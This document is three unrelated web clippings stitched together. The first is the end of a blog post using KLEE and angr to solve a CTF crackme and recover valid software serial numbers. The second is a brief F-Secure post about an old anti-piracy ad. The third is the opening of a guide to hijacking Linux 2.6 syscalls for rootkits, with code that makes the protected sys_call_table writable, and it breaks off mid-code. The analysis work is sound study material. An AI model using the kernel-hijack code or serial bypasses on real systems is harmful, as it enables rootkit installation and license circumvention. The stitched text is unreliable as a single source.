    #include <stdlib.h>
    #include <string.h>
    #include "defs.h"
    #include <assert.h>
    #include "./klee_src/include/klee/klee.h"
    
    int  func1(char a1, char a2)
    {
      if ( a1 * 2 * (char)(a2 ^ a1) - a2 != 10858 )
        exit(1);
      if ( a1 <= 85 || a1 > 95 || a2 <= 96 || a2 > 111 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func2(char a1, char a2)
    {
      if ( a1 % a2 != 7 )
        exit(1);
      if ( a2 <= 90 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func3(char a1, char a2)
    {
      if ( a1 / a2 + (char)(a2 ^ a1) != 21 || a1 > 99 || a2 > 119 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func4(char a1, char a2)
    {
      signed __int64 v2; // rtt@1
    
      LODWORD(v2) = (char)(a2 ^ a1 ^ a2);
      HIDWORD(v2) = (unsigned __int64)(char)(a2 ^ a1 ^ a2) >> 32;
      if ( (unsigned int)(v2 % a2) + a1 != 137 || a1 <= 115 || a2 > 99 || a2 != 95 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func5(char a1, char a2)
    {
      if ( ((a2 + a1) ^ (char)(a1 ^ a2 ^ a1)) != 225 || a1 <= 90 || a2 > 89 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func6(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a1 <= 85 || a2 <= 110 || a3 <= 115 || ((a2 + a3) ^ (a1 + a2)) != 44 || (a2 + a3) % a1 + a2 != 161 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func7(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a1 > 119 || a2 <= 90 || a3 > 89 || ((a1 + a3) ^ (a2 + a3)) != 122 || (a1 + a3) % a2 + a3 != 101 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func8(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a3 > 114 || (a1 + a2) / a3 * a2 != 97 || (a3 ^ (a1 - a2)) * a2 != -10088 || a3 > 114 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func9(char a1, char a2, char a3)
    {
      if ( a1 != a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a3 > 99 || a3 + a1 * (a3 - a2) - a1 != -1443 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func10(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 * (a1 + a3 + 1) - a3 != 15514 || a2 <= 90 || a2 > 99 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func11(char a1, char a2, char a3)
    {
      if ( a2 < a1 )
        exit(1);
      if ( a1 < a3 )
        exit(1);
      if ( a2 <= 100 || a2 > 104 || a1 + (a2 ^ (a2 - a3)) - a3 != 70 || (a2 + a3) / a1 + a1 != 68 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func12(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 > 59 || a3 > 44 || a1 + (a2 ^ (a3 + a2)) - a3 != 111 || (a2 ^ (a2 - a3)) + a2 != 101 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func13(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a1 <= 40 || a2 <= 90 || a3 > 109 || a3 + (a2 ^ (a3 + a1)) - a1 != 269 || (a3 ^ (a2 - a1)) + a2 != 185 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func14(char a1, char a2, char a3)
    {
      if ( a1 < a3 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 > 99 || a3 <= 90 || a1 + (a2 ^ (a2 + a1)) - a3 != 185 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func15(char a1, char a2, char a3)
    {
      if ( a2 < a3 )
        exit(1);
      if ( a2 < a1 )
        exit(1);
      if ( a3 <= 95 || a2 > 109 || ((a2 - a1) * a2 ^ a3) - a1 != 1214 || ((a3 - a2) * a3 ^ a1) + a2 != -1034 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int main(int argc, const char **argv, const char **envp)
    {
      char buf[27];
    
    #ifdef KLEE
      klee_make_symbolic(buf, sizeof(buf), "buf");
    #else
      printf("Your flag : ");
      fgets(buf, 27, stdin);
    #endif
      func1((unsigned int)buf[0], (unsigned int)buf[1]);
      func2((unsigned int)buf[1], (unsigned int)buf[2]);
      func3((unsigned int)buf[2], (unsigned int)buf[3]);
      func4((unsigned int)buf[3], (unsigned int)buf[4]);
      func5((unsigned int)buf[4], (unsigned int)buf[5]);
      func6((unsigned int)buf[5], (unsigned int)buf[6], (unsigned int)buf[7]);
      func7((unsigned int)buf[7], (unsigned int)buf[8], (unsigned int)buf[9]);
      func8((unsigned int)buf[9], (unsigned int)buf[10], (unsigned int)buf[11]);
      func9((unsigned int)buf[11], (unsigned int)buf[12], (unsigned int)buf[13]);
      func10((unsigned int)buf[13], (unsigned int)buf[14], (unsigned int)buf[15]);
      func11((unsigned int)buf[15], (unsigned int)buf[16], (unsigned int)buf[17]);
      func12((unsigned int)buf[17], (unsigned int)buf[18], (unsigned int)buf[19]);
      func13((unsigned int)buf[19], (unsigned int)buf[20], (unsigned int)buf[21]);
      func14((unsigned int)buf[21], (unsigned int)buf[22], (unsigned int)buf[23]);
      func15((unsigned int)buf[23], (unsigned int)buf[24], (unsigned int)buf[25]);
    
    #ifdef KLEE
      klee_assert(0);
    #else
      printf("flag : {\" %s \"}\n", buf);
    #endif
      return 0;
    }
[/code]

If we run it with KLEE now…

[code]

    $ clang -emit-llvm -g -c red_velvet.c -DKLEE
    klee@98643f6c5c8a:~$ klee --optimize --libc=uclibc --posix-runtime -allow-external-sym-calls -emit-all-errors red_velvet.bc
    KLEE: NOTE: Using klee-uclibc : /home/klee/klee_build/klee/Release+Debug+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /home/klee/klee_build/klee/Release+Debug+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: output directory is "/home/klee/klee-out-37"
    KLEE: Using STP solver backend
    KLEE: WARNING ONCE: calling external: syscall(16, 0, 21505, 45360912) at /home/klee/klee_src/runtime/POSIX/fd.c:980
    KLEE: WARNING ONCE: Alignment of memory from call "malloc" is not modelled. Using alignment of 8.
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:20: divide by zero
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:29: divide by zero
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:40: divide by zero
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:190: ASSERTION FAIL: 0
    
    KLEE: done: total instructions = 5811
    KLEE: done: completed paths = 56
    KLEE: done: generated tests = 56
    $ ls klee-last | grep err
    test000003.div.err
    test000006.div.err
    test000008.div.err
    test000056.assert.err
    $ ktest-tool --write-ints klee-last/test000056.ktest
    ktest file : 'klee-last/test000056.ktest'
    args       : ['red_velvet.bc']
    num objects: 2
    object    0: name: b'model_version'
    object    0: size: 4
    object    0: data: 1
    object    1: name: b'buf'
    object    1: size: 27
    object    1: data: b'What_You_Wanna_Be?:)_l`_la\x00'
    
[/code]

Our KLEE assert is finally reached. If you list the files inside `klee-last`,
you’ll see multiple `ktest` files which are basically the test cases generated
by KLEE.

If we didn’t want to go over the hassle of removing the checksum code, we
could also have simply made the modification below.

[code]

    $ diff -uN red_velvet.0.c red_velvet.1.c
    --- red_velvet.0.c      2018-05-17 18:50:17.989838225 +0000
    +++ red_velvet.1.c      2018-05-17 18:51:06.711161145 +0000
    @@ -222,8 +222,7 @@
       SHA256_Final(v38, &v11);
       for ( i = 0; i <= 31; ++i )
         sprintf(&s1[2 * i], "%02x", (unsigned __int8)v38[i]);
    -  if ( strcmp(s1, s2) )
    -    exit(1);
    +  klee_assume( strcmp(s1, s2) == 0);
     #ifdef KLEE
       klee_assert(0);
     #else
[/code]

This was a good example to face some of the limitations of KLEE.

### Find the serial number

The basic serial number example will allow us to see a couple of more things
while using KLEE. First, instead of using `klee_make_symbolic()` to make the
user input symbolic we can just leave it and make the command-line argument
symbolic with the option `--sym-arg`, in this case it will look for solutions
that are under 11 chars.

For reference, in “real” programs the number of code paths can be extremely
big if not infinite. This means KLEE will not terminate and it will run until
we press `Ctrl+C` \(SIGINT\). We can use `-max-time=<num seconds>`, `-max-
forks=N` \(stop forking after N symbolic branches\) and `-max-memory=N`
\(limit the memory consumption to N bytes\) to have some control over KLEE.

The only change we did to the original source code `sn.c` file was the one
below.

[code]

    $ diff -uN sn.orig.c sn.c 
    --- sn.orig.c 2018-05-18 19:01:26.578303833 +0000
    +++ sn.c  2018-05-18 19:00:27.068119927 +0000
    @@ -82,10 +82,13 @@
         usage(argv[0]);
     
       if (validate_sn(serial))
    +#ifdef KLEE
    +    klee_assert(0);
    +#else
         printf("Thank You. Your license is now active.\n");
       else
         printf("Invalid Serial Number. Please try again.\n");
    -
    +#endif
       return 0;
     }
[/code]

We ran it as below.

[code]

    $ clang -emit-llvm -g -c sn.c -DKLEE
    $ time klee -emit-all-errors --libc=uclibc --posix-runtime sn.bc --sym-arg 11
    KLEE: NOTE: Using klee-uclibc : /home/klee/klee_build/klee/Release+Debug+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /home/klee/klee_build/klee/Release+Debug+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: output directory is "/home/klee/klee-out-23"
    KLEE: Using STP solver backend
    KLEE: WARNING ONCE: calling external: syscall(16, 0, 21505, 48856800) at /home/klee/klee_src/runtime/POSIX/fd.c:980
    KLEE: WARNING ONCE: calling __user_main with extra arguments.
    KLEE: WARNING ONCE: Alignment of memory from call "malloc" is not modelled. Using alignment of 8.
    KLEE: ERROR: /home/klee/sn.c:86: ASSERTION FAIL: 0
    
    KLEE: done: total instructions = 6158
    KLEE: done: completed paths = 25
    KLEE: done: generated tests = 25
    
    real  0m0.732s
    user  0m0.536s
    sys 0m0.191s
    $ ls klee-last/*err  
    klee-last/test000024.assert.err
    $ ktest-tool --write-ints --trim-zeros klee-last/test000024.ktest 
    ktest file : 'klee-last/test000024.ktest'
    args       : ['sn.bc', '--sym-arg', '11']
    num objects: 2
    object    0: name: b'arg0'
    object    0: size: 12
    object    0: data: b'10A00-50A00\x00'
    object    1: name: b'model_version'
    object    1: size: 4
    object    1: data: 1
    
[/code]

We now have 25 execution paths, we also have 25 test cases. We can replay
these test cases, but we won’t look into that today. Refer to KLEE’s
documentation if you want to know more.

We know there are more possible “solutions” than the one above. KLEE is
deterministic, which means that if you run it again you’ll get the same
result. There are a couple of “hacks” we can try to get different results, but
I won’t follow that path. You can try the KLEE-DEV mailing list for options.
One easy thing you can do is to use a different solver than the default one,
STP. For example, we can use Z3. Actually, it’s not uncommon to use a multiple
solvers to increase performance.

[code]

    $ time klee -emit-all-errors --libc=uclibc --posix-runtime -solver-backend=z3 sn.bc --sym-arg 11
    KLEE: NOTE: Using klee-uclibc : /home/klee/klee_build/klee/Release+Debug+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /home/klee/klee_build/klee/Release+Debug+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: output directory is "/home/klee/klee-out-24"
    KLEE: Using Z3 solver backend
    KLEE: WARNING ONCE: calling external: syscall(16, 0, 21505, 55623456) at /home/klee/klee_src/runtime/POSIX/fd.c:980
    KLEE: WARNING ONCE: calling __user_main with extra arguments.
    KLEE: WARNING ONCE: Alignment of memory from call "malloc" is not modelled. Using alignment of 8.
    KLEE: ERROR: /home/klee/sn.c:86: ASSERTION FAIL: 0
    
    KLEE: done: total instructions = 6158
    KLEE: done: completed paths = 25
    KLEE: done: generated tests = 25
    
    real  0m0.612s
    user  0m0.583s
    sys 0m0.028s
    $ ls klee-last/*err
    klee-last/test000024.assert.err
    $ ktest-tool --write-ints klee-last/test000024.ktest 
    ktest file : 'klee-last/test000024.ktest'
    args       : ['sn.bc', '--sym-arg', '11']
    num objects: 2
    object    0: name: b'arg0'
    object    0: size: 12
    object    0: data: b'12K22-52K222'
    object    1: name: b'model_version'
    object    1: size: 4
    object    1: data: 1
    
[/code]

Which generated a different valid SN number, in this case actually a bit
faster than STP. You can find more about what solvers and solver options you
can play with here.

## angr

What is angr? angr is a framework for analyzing binaries, with the capability
to perform dynamic symbolic execution \(like KLEE, etc\) and various static
analyses on binaries. It is very popular among the CTF community, since
Shellphish has used angr in many CTFs successfully. If you are already
familiar with angr, probably you want to skip this part.

I find angr very interesting as it focuses on both static and dynamic symbolic
\(“concolic”\) analysis, making it applicable to a variety of tasks. It is
complex though, as any other tool in this area anyway. Their documentation is
very good and I definitely recommend you to go through it if you want to know
more than what we’ll see here.

We’ll look again at the RedVelvet binary from the CODEGATE CTF. We already
reversed it, and we used IDA Pro Hex-Rays decompiler to look at its pseudo
code. If we don’t read the pseudo code carefully, we might think at first that
if we pass all the 15 validation functions we get our flag. And that was my
first thought. I could try to print `HAPPINESS:)` 15 times…

We’ll use angr docker image. If you aren’t familiar with docker, below I get
the angr image, I start a container, I copy our RedVelvet binary to the
container, and I connect back to the container.

[code]

    $ docker pull angr/angr
    $ docker run -it angr/angr
    (angr) angr@66fb14721ee2:~$ exit
    logout
    $ docker ps -a
    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS                      PORTS               NAMES
    66fb14721ee2        angr/angr           "/bin/sh -c 'su - ..."   35 minutes ago      Exited (0) 17 minutes ago                       fervent_northcutt
    $ docker cp ~/CTFs/2018/CODEGATE/RedVelvet fervent_northcutt:/home/angr/
    $ docker start -ai 66fb14721ee2
    (angr) angr@66fb14721ee2:~$ ls
    RedVelvet  angr-dev
    
[/code]

So I looked at angr documentation and found something that might work and it’s
almost a copy and paste. _“The most important control interface in angr is the
SimulationManager, which allows you to control symbolic execution over groups
of states simultaneously, applying search strategies to explore a program’s
state space.”_ And little down on the same page we have a `crackme` example.

_First, we load the binary._

[code]

    >>> proj = angr.Project('examples/CSCI-4968-MBE/challenges/crackme0x00a/crackme0x00a')
    
[/code]

_Next, we create a`SimulationManager`._

[code]

    >>> simgr = proj.factory.simgr()
    
[/code]

_Now, we symbolically execute until we find a state that matches our condition
\(i.e., the`win` condition\)._

[code]

    >>> simgr.explore(find=lambda s: "Congrats" in s.posix.dumps(1))
    <SimulationManager with 1 active, 1 found>
    
[/code]

_Now, we can get the flag out of that state\!_

[code]

    >>> s = simgr.found[0]
    >>> print s.posix.dumps(1)
    Enter password: Congrats!
    
    >>> flag = s.posix.dumps(0)
    >>> print(flag)
    g00dJ0B!
    
[/code]

Pretty simple, isn’t it? Well, it looks like.

I create the script below, which is basically a copy of the documentation.

[code]

    import angr
    
    proj = angr.Project("./RedVelvet")
    simgr = proj.factory.simgr()
    simgr.explore(find=lambda s: "HAPPINESS:)\n" * 15 in s.posix.dumps(1))
    s = simgr.found[0]
    print s.posix.dumps(1)
    flag = s.posix.dumps(0)[:26]
    print flag
    
[/code]

Let’s try it.

[code]

    $ time python red.angr.1.py
    WARNING | 2018-05-19 09:34:37,083 | angr.procedures.definitions | unsupported syscall: ptrace
    WARNING | 2018-05-19 09:34:43,210 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV64 reg_28_4_64>
    
[/code]

Hmm, after 10 minutes it was still running… so I hit `Ctrl+C`. We can see
`ptrace` is unsupported and most likely it’s only creating overhead and
increasing complexity. Looking at the code I don’t even know why it is used,
probably just to annoy us. So let’s patch the binary to remove that call. Open
the binary in IDA Pro, I assume you have Keypatch plugin installed. If you
don’t, just follow the instruction on GitHub. Locate the `ptrace` call and
fill it with `nops`.

<img src='img/Temp2_6356.png' width='705' height='282' />

Right click over the `ptrace` call.

<img src='img/Temp2_6352.png' width='708' height='458' />

<img src='img/Temp2_6353.png' width='468' height='493' />

Nothing special. You just need to adjust the `JNZ` instruction to follow the
desired path. Simply change it from `JNZ` to `JMP` and that’s it. In the end
it should look like this.

<img src='img/Temp2_6345.png' width='705' height='499' />

Finally, save your modified binary.

<img src='img/Temp2_6351.png' width='533' height='657' />

And, it’s always a good idea to check if it still works.

[code]

    $ ./RedVelvet.noptrace
    Your flag : What the hack
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    
[/code]

It doesn’t crash. Should be good. Let’s try with this binary instead.

[code]

    $ docker cp ~/CTFs/2018/CODEGATE/RedVelvet.noptrace fervent_northcutt:/home/angr/
    $ docker start -ai 66fb14721ee2
    (angr) angr@66fb14721ee2:~$ ls
    RedVelvet  RedVelvet.noptrace  angr-dev  red.angr.1.py
    
[/code]

I changed the script to load this binary and I run it again.

[code]

    $ time python red.angr.1.py
    Your flag : HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    
    What_You_Wanna_Be?:)_lc_la
    
    real    3m38.992s
    user    3m37.447s
    sys     0m1.503s
    
[/code]

Nice, it worked. In terms of execution it was slower than Z3 or KLEE, but
definitely a lot faster overall. I mean, writing this script was trivial. Took
me more time looking at the documentation than typing the script.

While looking at angr’s documentation I also found the following while looking
for symbolic execution. _“At heart, angr is a symbolic execution engine. angr
exposes a standard way to write and perform dynamic symbolic execution: the
Surveyor class. A Surveyor is the engine that drives symbolic execution: it
tracks what paths are active, identifies which paths to step forward and which
paths to prune, and optimizes resource allocation.”_

And, _“angr.surveyors.Explorer is a Surveyor subclass that implements symbolic
exploration. It can be told where to start, where to go, what to avoid, and
what paths to stick to. It also tries to avoid getting stuck in loops.”_

And, in the explorer section, we can read the following.

[code]

    # This creates an Explorer that tries to find 0x4006ed (successful auth),
    # while avoiding 0x4006fd (failed auth) or 0x4006aa (the authentication
    # routine). In essense, we are looking for a backdoor.
    >>> e = proj.surveyors.Explorer(find=(0x4006ed,), avoid=(0x4006aa,0x4006fd))
    
[/code]

Looks interesting, let’s try to play with it. The `RedVelvet` binary is not
loaded into random locations within virtual memory each time it is executed.
See, `No PIE`. Even if it was, it wouldn’t be a problem because you could just
use offsets plus the base address the angr always uses.

[code]

    $ ./checksec -f ~/CTFs/2018/CODEGATE/RedVelvet
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
    Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               6       /home/rui/CTFs/2018/CODEGATE/RedVelvet
    
[/code]

So it seems we can give this a try. We’ll look at the binary in IDA Pro again.
According to angr documentation we need to give it the address we are trying
to find. We’ll be looking at the already patched `RedVelvet` binary to avoid
the `ptrace` call.

<img src='img/Temp2_6358.png' width='403' height='301' />

So if we reach the address above \(`0x401537`\), after all the 15 validation
function calls, we should be fine. We also need the address we want to avoid.
That should be address of the `exit` calls inside each validation function.

If we enter `func1()`.

<img src='img/Temp2_6344.png' width='699' height='647' />

And we follow the `exit` call.

<img src='img/Temp2_6355.png' width='429' height='174' />

We see that the address we want to avoid is `0x4007d0`. So here’s the script.

[code]

    import angr
    
    proj = angr.Project('RedVelvet.noptrace')
    
    e = proj.surveyors.Explorer(find=0x401537, avoid=0x4007D0)
    e.run()
    flag = e.found[0].state.posix.dumps(0)
    print flag[:26]
    
[/code]

Let’s try it.

[code]

    $ time python red.angr.2.py
    What_You_Wanna_Be?:)_lc_la
    
    real    3m40.224s
    user    3m38.746s
    sys     0m1.419s
    
[/code]

It worked, again. More or less the same time as before. We know this is not
the correct solution though. Sometimes there are multiple solutions when
dealing with constraint solvers as we saw before. It’s common they will find
solutions that we aren’t even aware. In such cases we can modify the
constraints to exclude the unwanted solution.

## Final notes

Symbolic execution is slow and costly. However, it is undoubtedly powerful.
Symbolic execution uses a constraint solver to create inputs/test cases which
will exercise a given path in the binary. The main problem with symbolic
execution, even though we didn’t observe it in this post, is that an approach
based only on symbolic execution will succumb to path explosion. As we can
easily guess, the number of paths in a real world big binary exponentially
increases with each branch.

If you are playing CTFs, getting familiar with angr will definitely help you
solve the type of challenges we saw faster. If you are looking at applying
symbolic execution to step up your fuzzing/software analysis, I would say have
a look at KLEE. Both have advantages and disadvantages depending on the
problem you are facing. Both have an eventually long learning curve. KLEE can
be a pain to install and it’s old LLVM version dependency holds it back a bit.
If you are playing CTFs, when using KLEE dealing with symbols and external
library calls can be a pain as we saw. Talking about limitations, there’s a
nice gist here from moyix with some KLEE limitations too, plus some
workarounds. Worth reading.

To increase code coverage and bug count “everyone” is using a combination of
tools and techniques in this area, so it’s worth knowing the basics. There are
many \(big\) projects out there combining Z3, KLEE, angr, AFL, etc, with
impressive results. See the references for more information.

I don’t play CTFs very often, my interest in symbolic execution lies in how to
apply it to code coverage and fuzzing. At least understand it so, I can make a
better use of it. This post documents the first steps if you want to get into
this area. All the code snippets used are available at my GitHub. Next steps
will be looking at Triton and Manticore plus all the impressive set of tools
that Trail of Bits has in this area. I already did a couple of things with
these, but this post is way too long already…

#### Credits

Thanks to Luis @countuponsec Rocha for proofreading this post.

### References \(in no particular order\)

  * https://ericpony.github.io/z3py-tutorial/guide-examples.htm
  * https://github.com/ericpony/z3py-tutorial
  * https://github.com/Z3Prover/z3/wiki/Slides
  * https://rise4fun.com/Z3/tutorial/guide
  * https://doar-e.github.io/presentations/securityday2015/SecDay-Lille-2015-Axel-0vercl0k-Souchet.html
  * https://lauri.võsandi.com/tub/qaoes/z3.html
  * https://yurichev.com/blog/zebra\_SAT/
  * https://yurichev.com/writings/SAT\_SMT\_draft-EN.pdf
  * http://blog.staalsoft.net/?p=146
  * http://leodemoura.github.io/slides.html
  * https://klee.github.io/tutorials/
  * http://klee.github.io/tutorials/testing-coreutils/
  * https://doar-e.github.io/blog/2015/08/18/keygenning-with-klee/
  * http://formalverification.cs.utah.edu/klee-examples/TestingCoreutils.html
  * http://formalverification.cs.utah.edu/klee-examples/Tutorial-2.html
  * https://srg.doc.ic.ac.uk/klee18/schedule.html
  * http://hci.stanford.edu/cstr/reports/2008-03.pdf
  * https://leodemoura.github.io/files/milan2010\_part1.pdf
  * https://en.wikipedia.org/wiki/NP-completeness
  * https://danliew.co.uk/assets/pdf/Liew-D-2018-PhD-Thesis.pdf
  * https://cse.uta.edu/research/Publications/CSE-2009-7.pdf
  * http://www.dcc.fc.up.pt/~edrdo/QSES1718/aulas/qses-10-testing-approaches.pdf
  * https://www.dcc.fc.up.pt/~edrdo/QSES1617/aulas/qses-slides-07.pdf
  * https://www.microsoft.com/en-us/research/publication/deconstructing-dynamic-symbolic-execution/
  * https://www.microsoft.com/en-us/research/people/dmolnar/\#\!publications
  * https://www.microsoft.com/en-us/research/people/pg/\#\!publications
  * https://patricegodefroid.github.io/public\_psfiles/ndss2008.pdf
  * https://patricegodefroid.github.io/public\_psfiles/SAGE-in-1slide-for-PLDI2013.pdf
  * https://hoheinzollern.files.wordpress.com/2008/04/seer1.pdf
  * http://uu.diva-portal.org/smash/get/diva2:737077/FULLTEXT01.pdf
  * http://shell-storm.org/blog/Binary-analysis-Concolic-execution-with-Pin-and-z3/
  * http://shell-storm.org/Concolic-execution-taint-analysis-with-valgrind-and-constraints-path-solver-with-z3/
  * http://moflow.org/Presentations/TaintNobodyGotTimeforCrashAnalysis-slides.pdf
  * http://www.nosuchcon.org/talks/2014/D2\_06\_Richard\_Johnson\_Sagely\_Advice.pdf
  * https://docs.angr.io/
  * https://github.com/angr/angr-doc/blob/master/docs/surveyors.md
  * https://docs.angr.io/docs/pathgroups.html
  * https://docs.angr.io/docs/solver.html
  * http://phrack.org/papers/cyber\_grand\_shellphish.html

##### Video

  * Concolic Testing for Kernel Fuzzing and Vulnerability Discovery by Vitaly @vnik5287 Nikolenko at OffensiveCon 2018.
  * Fuzzing and Patch Analysis SAGEly Advice by Richard @richinseattle Seattle at REcon 2014.
  * Static Translation of X86 Instruction Semantics to LLVM With McSema by Artem Dinaburg at THREADS 2014.
  * MIT 6.890 Algorithmic Lower Bounds: Fun with Hardness Proofs by instructor Erik Demaine, Fall 2014. Complete course here
  * Automated Whitebox Fuzz Testing with SAGE by Patrice Godefroid, 2009.
  * Binary analysis with angr using VEX for static analysis by Andrew Dutcher at FOSDEM 2017.

  

# F-Secure Weblog : News from the Lab

**Created:**| _5/11/2012 8:58:34 AM_  
---|---  
**Updated:**| _5/11/2012 8:58:34 AM_  
**Author:**| __  
**Tags:**| _drm_  
  
  
---  
  
**What's wrong with marketing software?**|  Posted by Sean @ 13:02 GMT | Comments  
---|---  
* * *  
Yesterday, I suggested that nonymous speech is vastly superior to anonymous
DDoS attacks and other forms of censorship.  
  
Today, I offer this "anti-piracy" PSA \(circa 1987\) as evidence to support my
thesis:  
  
<img src='img/Temp2_3055.png' width='652' height='800' alt='What's wrong with
marketing software?' />  
_Click to embiggen._  
  
It's stuff like this that made me happy to buy Infocom's games. They asked
nicely, and made their points with tongue-in-cheek humor. I still remember
this joke 25 years later. DDoS attacks? They fade from memory quickly.  
  
Internet activists \(as well as today's media industry\) would do well to
learn from the past.  

# Syscall Hijacking: Kernel 2.6.\* systems « memset's blog

**Created:**| _3/24/2011 8:52:18 PM_  
---|---  
**Updated:**| _3/24/2011 8:52:39 PM_  
**Author:**| __  
**Tags:**| _attacks Exploit Linux kernel_  
  

## Syscall Hijacking: Kernel 2.6.\* systems

December 3, 2010styx^Leave a commentGo to comments

In this guide I will explain how to hijack the syscall in kernel 2.6.\*: in
particular how to bypass the kernel write protection and the “protected mode”
bit of the CR0 CPUs register.  
I don’t explain what is a syscall or syscall table: I assume you know what it
is.  
  
\- Accessing to Syscall Table

If you have tried to execute rootkit wrote for 2.4.\* kernels then you will
know that them don’t work in the 2.6.\* kernel systems.  
In kernel 2.6.\* the “sys\_call\_table” is no longer exported and you can’t
access it directly: moreover the memory pages in which the table resides are
now write-protected.  
So we can no longer access the table in this way:

`1` | `extern` `void` `*sys_call_table[];`  
---|---  
`2` | `...`  
---|---  
`3` | `sys_call_table[__NR_syscall] = pointer`  
---|---  
But the table is still in the memory: if we know its memory address we can
access it through a simple pointer. There are a lot of methods to find this
address: the simplest is searching inside the “System.map” file in the “/boot”
directory. This file is created each time a kernel is compiled: it contains
all the symbols and their addresses used by the kernel.  
The output of this file follows:

`01` | `spaccio@spaccio-laptop:~$ ``cat` `/boot/System.map-2.6.35-23-generic`  
---|---  
`02` | `...`  
---|---  
`03` | `c018d140 t cgroup_remount`  
---|---  
`04` | `c018d260 T cgroup_path`  
---|---  
`05` | `c018d310 t allocate_cg_links`  
---|---  
`06` | `c018d410 t find_css_set`  
---|---  
`07` | `c018d7d0 T cgroup_attach_task`  
---|---  
`08` | `c018da40 T cgroup_clone`  
---|---  
`09` | `c018dcc0 t cgroup_tasks_write`  
---|---  
`10` | `c018dd90 t cgroup_release_agent`  
---|---  
`11` | `c018df50 t proc_cgroup_show`  
---|---  
`12` | `c018e180 t cgroup_pidlist_find`  
---|---  
`13` | `c018e320 t cgroup_write_event_control`  
---|---  
`14` | `c018e610 t pidlist_allocate`  
---|---  
`15` | `c018e640 t pidlist_array_load`  
---|---  
`16` | `...`  
---|---  
We are only interested at the “sys\_call\_table” address:

`1` | `spaccio@spaccio-laptop:~$ ``cat` `/boot/System.map-2.6.35-23-generic | ``grep` `sys_call_table`  
---|---  
`2` | `c05d2180 R sys_call_table`  
---|---  
\- Bypass Kernel Write Protection

Now we have the table’s address: but if you have looked at the “grep” command
you will have seen that there is an ‘R’: this means that this address is
“read-only”.  
Indeed the kernel poses some structures in the “read-only” memory zone: in
this way it protects them against intentional or unintentional changes which
can lead to system instability. So we have to set this structure in
“read/write” mode if we want to modify them.  
Fortunately, the kernel provides us with special functions for this task:

`1` | `void` `(*pages_rw)(``struct` `page *page, ``int` `numpages) = (``void` `*) 0xc012fbb0;`  
---|---  
`2` | `void` `(*pages_ro)(``struct` `page *page, ``int` `numpages) = (``void` `*) 0xc012fe80;`  
---|---  
The “pages\_rw” function sets the write mode on the page passed as an
argument; the second one sets the read mode on the page passed as an argument.
Bu we need the virtual address of the page in order to use it: we can use for
this task the “virt\_to\_page\(\)” function, that converts the virtual address
of the page in the corresponding physical page of memory accessible by the
kernel. In order to use the “pages\_\*” functions we have to know their
addresses. We can obtain them from the “System.map” file:

`1` | `spaccio@spaccio-laptop:~$ ``cat` `/boot/System.map-2.6.35-23-generic | ``grep` `-e pages_rw -e pages_ro`  
---|---  
`2` | `c012fbb0 T set_pages_rw`  
---|---  
`3` | `c012fe80 T set_pages_ro`  
---|---  
Now we can access and modify the sys\_call\_table in this way:

`01` | `...`  
---|---  
`02` |   
---|---  
`03` | `unsigned ``long` `*syscall_table = (unsigned ``long` `*)0xc05d2180;`  
---|---  
`04` |   
---|---  
`05` | `...`  
---|---  
`06` |   
---|---  
`07` | `void` `(*pages_rw)(``struct` `page *page, ``int` `numpages) = (``void` `*) 0xc012fbb0;`  
---|---  
`08` | `void` `(*pages_ro)(``struct` `page *page, ``int` `numpages) = (``void` `*) 0xc012fe80;`  
---|---  
